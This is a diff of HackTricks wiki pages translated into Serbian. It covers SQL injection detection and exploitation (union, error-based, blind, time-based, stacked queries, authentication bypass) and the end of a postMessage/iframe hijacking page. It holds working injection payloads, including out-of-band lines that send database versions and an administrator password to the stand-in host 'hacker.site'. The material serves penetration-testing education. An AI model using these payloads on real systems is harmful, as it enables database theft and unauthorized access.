Ovo je posebno korisno u **postMessages** jer ako stranica šalje osetljive podatke koristeći **wildcard** kao `windowRef.postmessage("","*")`, moguće je **promeniti lokaciju povezanog iframe-a (child ili parent) na lokaciju koju kontroliše napadač** i ukrasti te podatke.
|
||||
```html
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
|
@ -35,14 +38,17 @@ window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
|
|||
</script>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,33 @@
|
|||
# SQL Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljanje za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Šta je SQL injection?
|
||||
## Šta je SQL injekcija?
|
||||
|
||||
**SQL injection** je sigurnosna greška koja omogućava napadačima da **ometaju upite baze podataka** aplikacije. Ova ranjivost omogućava napadačima da **pregledaju**, **izmene** ili **obrišu** podatke do kojih ne bi trebali da imaju pristup, uključujući informacije drugih korisnika ili bilo koje podatke do kojih aplikacija može da pristupi. Takve akcije mogu rezultirati trajnim promenama funkcionalnosti ili sadržaja aplikacije, pa čak i kompromitacijom servera ili uskraćivanjem usluge.
|
||||
**SQL injekcija** je sigurnosna greška koja omogućava napadačima da **ometaju upite baze podataka** aplikacije. Ova ranjivost može omogućiti napadačima da **vide**, **modifikuju** ili **obrišu** podatke kojima ne bi trebali imati pristup, uključujući informacije drugih korisnika ili bilo koje podatke kojima aplikacija može pristupiti. Takve akcije mogu rezultirati trajnim promenama u funkcionalnosti ili sadržaju aplikacije ili čak kompromitovanjem servera ili uskraćivanjem usluge.
|
||||
|
||||
## Otkrivanje tačke ulaza
|
||||
## Detekcija ulazne tačke
|
||||
|
||||
Kada se sajt čini **ranjivim na SQL injection (SQLi)** zbog neobičnih odgovora servera na SQLi povezane unose, **prvi korak** je razumeti kako **ubaciti podatke u upit bez narušavanja njega**. To zahteva identifikaciju metode za **izlazak iz trenutnog konteksta** na efikasan način.
|
||||
Kada se čini da je sajt **ranjiv na SQL injekciju (SQLi)** zbog neobičnih odgovora servera na SQLi povezane ulaze, **prvi korak** je razumeti kako **ubaciti podatke u upit bez ometanja**. To zahteva identifikaciju metode za **efikasno izlazak iz trenutnog konteksta**.
|
||||
Ovo su neki korisni primeri:
|
||||
```
|
||||
[Nothing]
|
||||
|
@ -38,9 +41,9 @@ Ovo su neki korisni primeri:
|
|||
"))
|
||||
`))
|
||||
```
|
||||
Zatim, morate znati kako **popraviti upit da ne bude grešaka**. Da biste popravili upit, možete **uneti** podatke tako da **prethodni upit prihvati nove podatke**, ili jednostavno možete **uneti** svoje podatke i **dodati simbol komentara na kraju**.
|
||||
Zatim, treba da znate kako da **popravite upit tako da ne bude grešaka**. Da biste popravili upit, možete **uneti** podatke tako da **prethodni upit prihvati nove podatke**, ili možete jednostavno **uneti** svoje podatke i **dodati simbol komentara na kraju**.
|
||||
|
||||
Napomena: Ako možete videti poruke o greškama ili primetiti razlike kada upit radi i kada ne radi, ova faza će biti lakša.
|
||||
_Napomena: ako možete da vidite poruke o grešci ili primetite razlike kada upit radi i kada ne radi, ova faza će biti lakša._
|
||||
|
||||
### **Komentari**
|
||||
```sql
|
||||
|
@ -68,27 +71,27 @@ SQLite
|
|||
HQL
|
||||
HQL does not support comments
|
||||
```
|
||||
### Potvrda pomoću logičkih operacija
|
||||
### Potvrđivanje logičkim operacijama
|
||||
|
||||
Pouzdan način potvrde ranjivosti SQL ubacivanja uključuje izvršavanje **logičke operacije** i posmatranje očekivanih rezultata. Na primer, GET parametar poput `?username=Peter` koji daje isti rezultat kada se izmeni u `?username=Peter' or '1'='1` ukazuje na ranjivost SQL ubacivanja.
|
||||
Pouzdana metoda za potvrđivanje SQL injection ranjivosti uključuje izvršavanje **logičke operacije** i posmatranje očekivanih rezultata. Na primer, GET parametar kao što je `?username=Peter` koji daje identičan sadržaj kada se izmeni u `?username=Peter' or '1'='1` ukazuje na SQL injection ranjivost.
|
||||
|
||||
Slično tome, primena **matematičkih operacija** služi kao efikasna tehnika potvrde. Na primer, ako pristupanje `?id=1` i `?id=2-1` proizvodi isti rezultat, to ukazuje na SQL ubacivanje.
|
||||
Slično tome, primena **matematičkih operacija** služi kao efikasna tehnika potvrđivanja. Na primer, ako pristupanje `?id=1` i `?id=2-1` daje isti rezultat, to je indikativno za SQL injection.
|
||||
|
||||
Primeri koji demonstriraju potvrdu logičke operacije:
|
||||
Primeri koji prikazuju potvrđivanje logičke operacije:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Ova lista reči je napravljena kako bi se pokušalo **potvrditi SQL ubacivanje** na predloženi način:
|
||||
Ova lista reči je kreirana da pokuša da **potvrdi SQLinjections** na predloženi način:
|
||||
|
||||
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
|
||||
|
||||
### Potvrđivanje pomoću vremena
|
||||
### Potvrđivanje sa vremenom
|
||||
|
||||
U nekim slučajevima **nećete primetiti nikakvu promenu** na stranici koju testirate. Stoga, dobar način da **otkrijete slepo SQL ubacivanje** je da naterate bazu podataka da izvrši radnje koje će **uticati na vreme** potrebno za učitavanje stranice.\
|
||||
Stoga, dodajemo u SQL upit operaciju koja će dugo trajati da se izvrši:
|
||||
U nekim slučajevima **nećete primetiti nikakvu promenu** na stranici koju testirate. Stoga, dobar način da **otkrijete slepe SQL injekcije** je da naterate DB da izvrši radnje koje će imati **uticaj na vreme** koje je potrebno stranici da se učita.\
|
||||
Stoga, u SQL upitu ćemo dodati operaciju koja će potrajati dugo da se završi:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
|
@ -110,11 +113,11 @@ SQLite
|
|||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
U nekim slučajevima **neće biti dozvoljene funkcije za uspavljivanje**. Tada, umesto korišćenja tih funkcija, možete napraviti upit koji će **izvršavati složene operacije** koje će trajati nekoliko sekundi. _Primeri ovih tehnika će biti posebno komentarisani za svaku tehnologiju (ako postoje)_.
|
||||
U nekim slučajevima **funkcije spavanja neće biti dozvoljene**. Tada, umesto korišćenja tih funkcija, možete napraviti upit **koji izvodi složene operacije** koje će trajati nekoliko sekundi. _Primeri ovih tehnika biće komentarisani posebno za svaku tehnologiju (ako ih ima)_.
|
||||
|
||||
### Identifikacija Back-end-a
|
||||
|
||||
Najbolji način za identifikaciju back-end-a je pokušaj izvršavanja funkcija različitih back-end-ova. Možete koristiti _**sleep**_ **funkcije** iz prethodne sekcije ili ove (tabela sa [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
Najbolji način da identifikujete back-end je pokušaj izvršavanja funkcija različitih back-end-ova. Možete koristiti _**sleep**_ **funkcije** iz prethodnog odeljka ili ove (tabela iz [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
|
@ -142,27 +145,27 @@ Najbolji način za identifikaciju back-end-a je pokušaj izvršavanja funkcija r
|
|||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Takođe, ako imate pristup rezultatima upita, možete **ispisati verziju baze podataka**.
|
||||
Takođe, ako imate pristup izlazu upita, mogli biste da **prikazujete verziju baze podataka**.
|
||||
|
||||
{% hint style="info" %}
|
||||
Nastavićemo da razmatramo različite metode za iskorišćavanje različitih vrsta SQL Injection. Kao primer koristimo MySQL.
|
||||
U nastavku ćemo razgovarati o različitim metodama za iskorišćavanje različitih vrsta SQL Injection. Koristićemo MySQL kao primer.
|
||||
{% endhint %}
|
||||
|
||||
### Identifikacija pomoću PortSwigger-a
|
||||
### Identifikacija sa PortSwigger
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||||
|
||||
## Iskorišćavanje bazirano na Uniji
|
||||
## Iskorišćavanje zasnovano na Uniji
|
||||
|
||||
### Otkrivanje broja kolona
|
||||
|
||||
Ako možete videti rezultate upita, ovo je najbolji način za iskorišćavanje.\
|
||||
Prvo, moramo saznati **broj** **kolona** koje **početni zahtev** vraća. To je zato što **oba upita moraju vratiti isti broj kolona**.\
|
||||
Za ovo se obično koriste dve metode:
|
||||
Ako možete da vidite izlaz upita, ovo je najbolji način da ga iskoristite.\
|
||||
Prvo, treba da saznamo **broj** **kolona** koje **početni zahtev** vraća. To je zato što **oba upita moraju vraćati isti broj kolona**.\
|
||||
Dve metode se obično koriste u tu svrhu:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Da biste odredili broj kolona u upitu, postepeno prilagođavajte broj koji se koristi u klauzulama **ORDER BY** ili **GROUP BY** dok ne dobijete lažan odgovor. Bez obzira na različite funkcionalnosti **GROUP BY** i **ORDER BY** u SQL-u, oba se mogu koristiti na isti način za određivanje broja kolona upita.
|
||||
Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u **ORDER BY** ili **GROUP BY** klauzulama dok ne dobijete lažan odgovor. I pored različitih funkcionalnosti **GROUP BY** i **ORDER BY** unutar SQL-a, oboje se mogu koristiti identično za utvrđivanje broja kolona upita.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
|
@ -180,17 +183,17 @@ Da biste odredili broj kolona u upitu, postepeno prilagođavajte broj koji se ko
|
|||
```
|
||||
#### UNION SELECT
|
||||
|
||||
Izaberite sve više i više null vrednosti dok upit ne bude ispravan:
|
||||
Izaberite sve više i više null vrednosti dok upit ne bude tačan:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Treba da koristite `null` vrednosti jer u nekim slučajevima tip kolona sa obe strane upita mora biti isti, a null je validan u svakom slučaju._
|
||||
_Trebalo bi da koristite `null` vrednosti jer u nekim slučajevima tipovi kolona sa obe strane upita moraju biti isti i null je validan u svakom slučaju._
|
||||
|
||||
### Izdvajanje imena baza podataka, imena tabela i imena kolona
|
||||
### Izvlačenje imena baza podataka, imena tabela i imena kolona
|
||||
|
||||
U sledećim primerima ćemo izvući ime svih baza podataka, ime tabele iz baze podataka i imena kolona iz tabele:
|
||||
U sledećim primerima ćemo preuzeti ime svih baza podataka, ime tabele u bazi podataka, imena kolona tabele:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
|
@ -203,79 +206,65 @@ U sledećim primerima ćemo izvući ime svih baza podataka, ime tabele iz baze p
|
|||
```
|
||||
_Postoji različit način za otkrivanje ovih podataka na svakoj različitoj bazi podataka, ali metodologija je uvek ista._
|
||||
|
||||
## Iskorišćavanje skrivenog unije baziranog
|
||||
## Iskorišćavanje skrivenog unija
|
||||
|
||||
Kada je izlaz upita vidljiv, ali unije bazirane na ubrizgavanju izgledaju nedostižne, to ukazuje na prisustvo **skrivenog unije baziranog ubrizgavanja**. Ova situacija često dovodi do slepog ubrizgavanja. Da biste pretvorili slepo ubrizgavanje u unije bazirano, potrebno je da se sazna izvršavanje upita na pozadini.
|
||||
Kada je izlaz upita vidljiv, ali se čini da unija zasnovana na injekciji nije moguća, to označava prisustvo **skrivene unije zasnovane na injekciji**. Ova situacija često dovodi do slepe injekcije. Da bi se slepa injekcija pretvorila u onu zasnovanu na uniji, potrebno je razjasniti izvršni upit na backendu.
|
||||
|
||||
To se može postići korišćenjem tehnika slepog ubrizgavanja zajedno sa podrazumevanim tabelama specifičnim za ciljni sistem za upravljanje bazom podataka (DBMS). Da biste razumeli ove podrazumevane tabele, savetuje se konsultacija dokumentacije ciljnog DBMS-a.
|
||||
To se može postići korišćenjem tehnika slepe injekcije zajedno sa podrazumevanim tabelama specifičnim za vaš ciljani sistem za upravljanje bazama podataka (DBMS). Za razumevanje ovih podrazumevanih tabela, savetuje se konsultacija sa dokumentacijom ciljanog DBMS-a.
|
||||
|
||||
Nakon što je upit izvučen, neophodno je prilagoditi svoj payload kako bi se bezbedno zatvorio originalni upit. Zatim se unija upita dodaje vašem payloadu, olakšavajući iskorišćavanje novo dostupnog unije baziranog ubrizgavanja.
|
||||
Kada je upit izvučen, potrebno je prilagoditi svoj payload kako bi se sigurno zatvorio originalni upit. Nakon toga, unija upit se dodaje vašem payload-u, olakšavajući iskorišćavanje novonastale unije zasnovane na injekciji.
|
||||
|
||||
Za detaljnije informacije, pogledajte kompletan članak dostupan na [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
Za sveobuhvatnije uvide, pogledajte ceo članak dostupan na [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Iskorišćavanje grešaka bazirano
|
||||
## Iskorišćavanje zasnovano na grešci
|
||||
|
||||
Ako iz nekog razloga **ne možete** videti **izlaz** upita, ali možete **videti poruke o greškama**, možete iskoristiti ove poruke o greškama da **izfiltrirate** podatke iz baze podataka.\
|
||||
Prateći sličan tok kao kod iskorišćavanja unije baziranog ubrizgavanja, možete uspeti da izvučete bazu podataka.
|
||||
Ako iz nekog razloga **ne možete** da vidite **izlaz** **upita** ali možete **videti poruke o grešci**, možete iskoristiti ove poruke o grešci da **izvučete** podatke iz baze podataka.\
|
||||
Prateći sličan tok kao u iskorišćavanju zasnovanom na uniji, mogli biste uspeti da dump-ujete DB.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Iskorišćavanje slepe SQLi
|
||||
## Iskorišćavanje Blind SQLi
|
||||
|
||||
U ovom slučaju ne možete videti rezultate upita ili greške, ali možete **razlikovati** kada upit **vrati** odgovor **tačno** ili **netačno** jer se na stranici nalaze različiti sadržaji.\
|
||||
U ovom slučaju, možete zloupotrebiti to ponašanje kako biste postepeno izvukli karaktere iz baze podataka:
|
||||
U ovom slučaju ne možete videti rezultate upita ili greške, ali možete **razlikovati** kada upit **vraća** **tačan** ili **netačan** odgovor jer postoje različiti sadržaji na stranici.\
|
||||
U ovom slučaju, možete iskoristiti to ponašanje da izvučete bazu podataka karakter po karakter:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Iskorišćavanje Slepe SQLi Greške
|
||||
## Iskorišćavanje Error Blind SQLi
|
||||
|
||||
Ovo je **isti slučaj kao i prethodni**, ali umesto razlikovanja između tačnog/netačnog odgovora iz upita, možete razlikovati da li postoji **greška** u SQL upitu ili ne (možda zbog pada HTTP servera). Stoga, u ovom slučaju možete izazvati SQL grešku svaki put kada tačno pogodite karakter:
|
||||
Ovo je **ista situacija kao pre** ali umesto da razlikujete između tačnog/lažnog odgovora iz upita, možete **razlikovati između** **greške** u SQL upitu ili ne (možda zato što HTTP server pada). Stoga, u ovom slučaju možete naterati SQL grešku svaki put kada tačno pogodite karakter:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Iskorišćavanje SQLi bazirano na vremenu
|
||||
## Eksploatacija SQLi zasnovanog na vremenu
|
||||
|
||||
U ovom slučaju **nema** načina da se **razlikuje** odgovor upita na osnovu konteksta stranice. Međutim, možete učiniti da se stranica **duže učitava** ako je pogodno pretpostavljeno slovo tačno. Već smo videli ovu tehniku u upotrebi ranije kako bismo [potvrdili SQLi ranjivost](./#potvrda-pomoću-vremena).
|
||||
U ovom slučaju **nema** načina da se **razlikuje** **odgovor** upita na osnovu konteksta stranice. Ali, možete učiniti da stranica **duže učitava** ako je pogodjeni karakter tačan. Već smo videli ovu tehniku u upotrebi ranije kako bismo [potvrdili SQLi ranjivost](./#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
Možete koristiti "stacked queries" da biste **izvršili više upita jedan za drugim**. Imajte na umu da se dok se izvršavaju sledeći upiti, **rezultati ne vraćaju aplikaciji**. Stoga je ova tehnika uglavnom korisna u vezi sa **slepim ranjivostima**, gde možete koristiti drugi upit da pokrene DNS pretragu, uslovnu grešku ili kašnjenje vremena.
|
||||
Možete koristiti **stacked queries** da **izvršite više upita uzastopno**. Imajte na umu da, iako se uzastopni upiti izvršavaju, **rezultati** se **ne vraćaju aplikaciji**. Stoga je ova tehnika prvenstveno korisna u vezi sa **blind vulnerabilities** gde možete koristiti drugi upit da pokrenete DNS upit, uslovnu grešku ili vremensko kašnjenje.
|
||||
|
||||
**Oracle** ne podržava **stacked queries**. **MySQL, Microsoft** i **PostgreSQL** ih podržavaju: `UPIT-1-OVDE; UPIT-2-OVDE`
|
||||
**Oracle** ne podržava **stacked queries.** **MySQL, Microsoft** i **PostgreSQL** ih podržavaju: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Eksploatacija van mreže
|
||||
## Out of band Exploitation
|
||||
|
||||
Ako **nijedna druga** metoda eksploatacije **nije uspela**, možete pokušati da **izvučete informacije iz baze podataka** na **spoljni server** koji je pod vašom kontrolom. Na primer, putem DNS upita:
|
||||
Ako **niti jedna** metoda eksploatacije **nije uspela**, možete pokušati da naterate **bazu podataka** da ex-filtrira informacije na **spoljni host** koji kontrolišete. Na primer, putem DNS upita:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### Izvlačenje podataka putem XXE-a izvan opsega
|
||||
|
||||
XXE (Eksterni XML Entitet) je sigurnosna ranjivost koja omogućava napadaču da izvrši udaljene zahteve i izvuče podatke izvan opsega aplikacije. Ova tehnika se može koristiti za izvlačenje osetljivih informacija iz baze podataka putem XML eksternih entiteta.
|
||||
|
||||
Da biste iskoristili ovu ranjivost, prvo morate pronaći mesto gde se koristi XML parser koji podržava eksterne entitete. Zatim, možete konstruisati poseban XML payload koji će izvršiti udaljeni zahtev i vratiti osetljive podatke.
|
||||
|
||||
Na primer, možete konstruisati payload koji će izvršiti SQL upit na bazi podataka i vratiti rezultate. Ovi rezultati mogu biti uključeni u XML odgovor koji će biti poslat napadaču.
|
||||
|
||||
Da biste izvršili ovu tehniku, koristite sledeće korake:
|
||||
|
||||
1. Pronađite mesto gde se koristi XML parser koji podržava eksterne entitete.
|
||||
2. Konstruišite XML payload koji će izvršiti udaljeni zahtev i vratiti osetljive podatke.
|
||||
3. Pošaljite payload na ciljnu aplikaciju i pratite odgovor kako biste izvukli osetljive podatke.
|
||||
|
||||
Važno je napomenuti da je ova tehnika vrlo moćna i može biti zloupotrebljena. Stoga je važno da se koristi samo u okviru zakonitog pentestinga i sa dozvolom vlasnika sistema.
|
||||
### Izvanbandna eksfiltracija podataka putem XXE
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
## Automatizovano iskorišćavanje
|
||||
## Automatizovana Eksploatacija
|
||||
|
||||
Proverite [SQLMap Cheetsheat](sqlmap/) da biste iskoristili SQLi ranjivost sa [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Tehničke specifičnosti
|
||||
## Tehničke specifične informacije
|
||||
|
||||
Već smo razgovarali o svim načinima iskorišćavanja SQL Injection ranjivosti. Pronađite još neke trikove koji zavise od tehnologije baze podataka u ovoj knjizi:
|
||||
Već smo razgovarali o svim načinima za eksploataciju SQL Injection ranjivosti. Pronađite još nekoliko trikova zavisnih od tehnologije baze podataka u ovoj knjizi:
|
||||
|
||||
* [MS Access](ms-access-sql-injection.md)
|
||||
* [MSSQL](mssql-injection.md)
|
||||
|
@ -283,53 +272,45 @@ Već smo razgovarali o svim načinima iskorišćavanja SQL Injection ranjivosti.
|
|||
* [Oracle](oracle-injection.md)
|
||||
* [PostgreSQL](postgresql-injection/)
|
||||
|
||||
Ili ćete pronaći **mnogo trikova u vezi sa: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL na** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
|
||||
Ili ćete pronaći **puno trikova vezanih za: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL u** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Zaobilaženje autentifikacije
|
||||
|
||||
Lista za pokušaj zaobilaženja funkcionalnosti prijave:
|
||||
Lista za pokušaj zaobilaženja funkcionalnosti prijavljivanja:
|
||||
|
||||
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
|
||||
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Zaobilaženje autentifikacije putem sirovog heša
|
||||
### Zaobilaženje autentifikacije pomoću sirovog heša
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Ova upit pokazuje ranjivost kada se MD5 koristi sa true za sirovi izlaz u proveri autentifikacije, čime se sistem čini podložnim SQL ubacivanju. Napadači mogu iskoristiti ovo tako što će oblikovati unose koji, kada se heširaju, proizvode neočekivane delove SQL komandi, što dovodi do neovlašćenog pristupa.
|
||||
Ova upit prikazuje ranjivost kada se MD5 koristi sa true za sirovi izlaz u proverama autentifikacije, čineći sistem podložnim SQL injekciji. Napadači mogu iskoristiti ovo kreiranjem ulaza koji, kada se hashiraju, proizvode neočekivane delove SQL komandi, što dovodi do neovlašćenog pristupa.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```
|
||||
### Bypass autentifikacije putem ubacivanja hash-a
|
||||
|
||||
